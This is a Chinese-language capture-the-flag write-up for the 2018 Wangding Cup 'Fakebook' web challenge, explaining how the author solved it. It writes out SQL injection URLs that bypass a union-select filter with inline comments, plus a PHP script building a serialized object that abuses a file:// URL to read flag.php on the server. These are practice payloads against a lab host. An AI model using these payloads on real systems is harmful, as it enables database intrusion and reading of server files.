• [网鼎杯 2018]Fakebook


    使用字典进行目录扫描,发现robots.txt和flag.php文件

     访问robots.txt,发现备份文件

    备份文件内容为

     1 <?php
     2 
     3 class UserInfo
     4 {
     5     public $name = "";
     6     public $age = 0;
     7     public $blog = "";
     8 
     9     public function __construct($name, $age, $blog)
    10     {
    11         $this->name = $name;
    12         $this->age = (int)$age;
    13         $this->blog = $blog;
    14     }
    15 
    16     function get($url)
    17     {
    18         $ch = curl_init();
    19 
    20         curl_setopt($ch, CURLOPT_URL, $url);
    21         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    22         $output = curl_exec($ch);
    23         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    24         if($httpCode == 404) {
    25             return 404;
    26         }
    27         curl_close($ch);
    28 
    29         return $output;
    30     }
    31 
    32     public function getBlogContents ()
    33     {
    34         return $this->get($this->blog);
    35     }
    36 
    37     public function isValidBlog ()
    38     {
    39         $blog = $this->blog;
    40         return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    41     }
    42 
    43 }

    注册一个用户,在表格中点击注册的用户,发现URL疑似注入

    http://3a6666ac-cd47-4536-87ff-f783e0168c84.node3.buuoj.cn/view.php?no=1

    使用单引号进行闭合,网页报错,说明存在注入

    判断字段数

    http://3a6666ac-cd47-4536-87ff-f783e0168c84.node3.buuoj.cn/view.php?no=-1 union select 1,2,3,4

    union select被过滤,尝试使用内联注释进行绕过

    http://3a6666ac-cd47-4536-87ff-f783e0168c84.node3.buuoj.cn/view.php?no=-1/*!union*//*!select*/1,2,3,4

    后面的操作都是常规注入,最后注入得到的数据尽然是自己添加的数据

     冷静下来后,发现union select时,页面有unserialize函数出现

    那么可以联想到后端从数据库中取出数据,然后将数据反序列化后显示在前台页面上,报错的绝对路径为/var/www/html/,那么flag就位于/var/www/html/flag.php

    我们将UserInfo类序列化的结果输出,在构造函数中将blog参数赋值为file:///var/www/html/flag.php,构造file文件协议读取服务器上的flag.php文件

    <?php
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    }
    $userinfo = new UserInfo("user",18,"file:///var/www/html/flag.php");
    echo serialize($userinfo);

    结果输出为:

    O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

    然后在注入点赋值序列化的结果,反序列化时就会读取flag.php文件

    http://14eab04c-f0b7-47be-997b-0a935abc8d95.node3.buuoj.cn/view.php?no=-1/*!union*//*!select*/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

    查看源代码

    点击src后便获取到flag 

  • 相关阅读:
    C++ STL Set使用
    C++ STL算法
    C++ STL List使用
    C++中的构造析构函数
    七、Linux进程调度-应用内核设置调度策略和优先级
    Qcom高通相关汇总
    Cgroup内核文档翻译(8)——/dev/cpuctl/*
    用户进程和内核线程的CPU亲和性设置
    Scheduler内核文档翻译(1)——Documentationschedulersched-tune.txt
    uCgui和emWin的区别
  • 原文地址:https://www.cnblogs.com/gtx690/p/13223196.html
Copyright © 2020-2023  润新知